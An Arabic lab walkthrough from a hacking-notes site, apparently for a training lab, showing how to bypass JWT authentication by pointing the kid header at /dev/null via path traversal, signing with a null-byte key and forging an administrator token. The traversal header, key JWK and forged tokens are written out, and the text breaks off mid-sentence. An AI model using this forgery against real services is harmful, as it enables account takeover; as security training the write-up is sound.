> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md).

# تجاوز مصادقة JWT عبر اجتياز مسار kid

### تجاوز مصادقة JWT عبر اجتياز المسار في ترويسة kid

#### سياق المختبر

يستخدم التطبيق JWT لإدارة الجلسات. للتحقق من التوقيع، يقرأ الخادم ترويسة JWT ويسترجع مفتاح التحقق من **نظام الملفات** بناءً على قيمة `kid` الحقل (معرّف المفتاح). / المشكلة: إن `kid` القيمة لا يتم التحقق منها بشكل صحيح، مما يسمح بـ **اجتياز المسار** للإشارة إلى ملف نظام عشوائي.

الهدف: تزوير JWT يمنح الوصول إلى `/admin`، ثم حذف المستخدم **carlos**.

#### نقطة البداية

بعد الاتصال بـ `wiener:peter`، تحصل على JWT صالح:

* الترويسة: `alg = HS256`, `kid = <uuid>`
* الحمولة: `sub = wiener`

```bash
eyJraWQiOiIxZmM4YzUzYS1mMzMwLTRhNGMtODFkOC01ZjNlOGRmMzNkNWMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoid2llbmVyIn0.qFrtPadwDKEghfc4hGLNhDQolFAJ6rvPW22120KEGHU
```

<figure><img src="/files/f454641f57f61822a7a524744fd1943e4d366f7f" alt=""><figcaption></figcaption></figure>

#### فكرة الهجوم

أثناء `kid` يعمل كمسار لتحميل المفتاح، يمكننا محاولة إخراجه من الدليل المتوقع باستخدام `../` لاستهداف ملف خاص: **`/dev/null`**.

* `/dev/null` يتصرف كملف «فارغ».
* إذا قام الخادم بتحميل المفتاح من هذا الملف، فسيجد (في هذه الحالة) أنه يتحقق من التوقيع باستخدام مفتاح يعادل **صفري / فارغ**.

<figure><img src="/files/38a067003ae7f4ca119bc6d658538253b41c15a4" alt=""><figcaption></figcaption></figure>

#### بناء مفتاح متماثل

تولّد بايتًا صفريًا وتشفّره بصيغة Base64:

* الأمر:

```bash
echo -ne '/0' | base64

AA==
```

ثم تنشئ JWK متماثلًا (`kty: oct`) والذي يكون مفتاحه (`k`) هو `AA==`:

```json
{
    "kty": "oct",
    "kid": "9c48f618-fb2c-4bf6-85f6-7cb92c0cfa1c",
    "k": "AA=="
}
```

(إن JWK `kid` هنا يعمل فقط كمعرّف على مستوى الأداة؛ هذه هي `k` القيمة.)

<figure><img src="/files/f6a79e825ad161c844babfbdd13aa9e6206a4396" alt=""><figcaption></figcaption></figure>

#### الاستغلال: `kid` الاجتياز إلى `/dev/null`

ثم تغيّر ترويسة JWT لتشير `kid` إلى `/dev/null` عبر اجتياز المسار:

```json
{
    "kid": "../../../../../../../../dev/null",
    "alg": "HS256"
}
```

ثم تغيّر `sub` في الحمولة ليصبح حساب مسؤول (في حالتك `administrator`) وتوقّع JWT باستخدام HS256 بالمفتاح "nulle" (`AA==`).

<figure><img src="/files/83cc0927d8eda6ebe0a7ae19238ecaba2932c900" alt=""><figcaption></figcaption></figure>

#### النتيجة

JWT المُزوَّر النهائي (الذي تقدّمه):

* `kid` يعبر حتى `/dev/null`
* `alg` يبقى `HS256`
* `sub` يصبح `administrator`

```bash
eyJraWQiOiIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi9kZXYvbnVsbCIsImFsZyI6IkhTMjU2In0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0OTY1OSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.mSLXreEdgmhgAPOPLS9-j7A1VUiRjK-DA1YvGzqsxOo
```

<figure><img src="/files/2946e3df2053a29d0baef199b71ae1280b9de682" alt=""><figcaption></figcaption></figure>

الخادم \*\* يقبل\*\* الرمز: فهو يؤكد أن `kid` تحليل المسار صالح للاستخدام وأن التحقق من التوقيع يتم باستخدام مفتاح مشتق من الملف الهدف (هنا

<figure><img src="/files/a3fb7628dba02622a7a1707feab5c1ddef1d89af" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/jwt/jwt-authentication-bypass-via-kid-path-traversal.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
